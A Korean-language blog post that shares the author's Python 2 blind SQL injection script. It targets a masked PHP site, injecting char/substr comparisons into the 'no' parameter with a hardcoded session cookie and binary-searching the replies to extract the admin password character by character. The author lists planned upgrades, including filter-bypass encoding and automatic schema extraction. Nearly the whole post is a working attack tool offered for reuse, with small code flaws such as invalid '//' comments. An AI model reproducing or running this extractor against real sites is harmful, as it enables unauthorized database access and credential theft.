BlindSQL Injection 소스

BlindSQL Injection 소스.

예전부터 쓰던거고 그때그때 수정해서 대충 쓰고 있습니다. 언젠가 코드 정리 한번해서 범용적으로


쓸 수 있게 고칠 예정입니다...ㅎㅎ

# 추가 필요한 기능들
 - parameter 입력(귀찮아서 지금은 하드코딩)
 - 인젝션 자동 탐색(...)
 - 패턴차단 우회기능(인코딩,공백치환 등등)
 - db 종류별 스키마 등 자동 추출 가능하게 변경


# SQL Injector.py
#!/usr/bin/python
import sys
import getopt,urllib2
from urllib import *
import string

base = "http://www.****.com/index.php"  // 대상 URL
TrueKeyword = "onlyTrueKeyword"  // 참인 경우에만 들어있는 키워드

def CheckInject(tNum,num,t):     ## Checking Condition(T or F) ?
	cookie='PHPSESSID=r099a6f35u0la29it5p1egr3p5'
	injectParam = "2 and char(%s)>substr(pw,%s,1)-- " % (num,t) 
	param={'no':injectParam,'id':'admin','pw':'1234'}
	headers = {'Cookie':cookie}
	f = urllib2.Request(base + '?' + urlencode(param),headers=headers)
	response = urllib2.urlopen(f)
	text = response.read()
	if text.find(TrueKeyword) != -1:
		return True
	else:
		return False

def binarySearch(tNum,start,end,str):   ## Binary Searching algorithm
	mid = ( start + end ) / 2
	Result = CheckInject(tNum,mid,str)
	if ( end - start ) <= 1:
		if Result==False:
			return start
		else:
			return end
	if Result == False:
		print "        %2d" % mid ," > str - True"
		return binarySearch(tNum,mid,end,str)
	else:
		print "        %2d" % mid ," > str - False"
		return binarySearch(tNum,start,mid,str)

def SearchTabName(tNum):    ## Searching TableName
	TabName = ""
	tNum += 1
	print "[*] %dth Searching Database..." % tNum
	tNum -= 1
	for Count in range(1,255):
		print "    [*] Searching %s Str" % Count 
		FindStr = binarySearch(tNum,0,128,"%s" % str(Count))
		TabName = TabName + chr(FindStr).lower()
		if FindStr == 127:
			return TabName
		elif FindStr == 32:
			print "		[-] End of String !"
			break;
		elif FindStr != 40:
			print "      [+] Find Str : %s" % chr(FindStr).lower()
		else:
			print "		[-] Failure!"
	return TabName

TableList=[]
tReturn=True
for x in range(0,255):
	tmpTab=SearchTabName(x)
	
	print "\n================================"
	print "[+] Database Name  : %s " % tmpTab
	print "================================"

	break;
	print tmpTab
	if tmpTab == False:
		print '    [-] End of Table!'
		TableList.append(tmpTab)
		break
	TableList.append(tmpTab)

tCount=len(TableList)
if tCount > 0:
	print "\n================================"
	print "[+] %s Database Found !!" % tCount
	print "================================"
	for x in TableList:
		print x
	print "================================\n"
else:
	print "[-] Tables Searching Failure !!"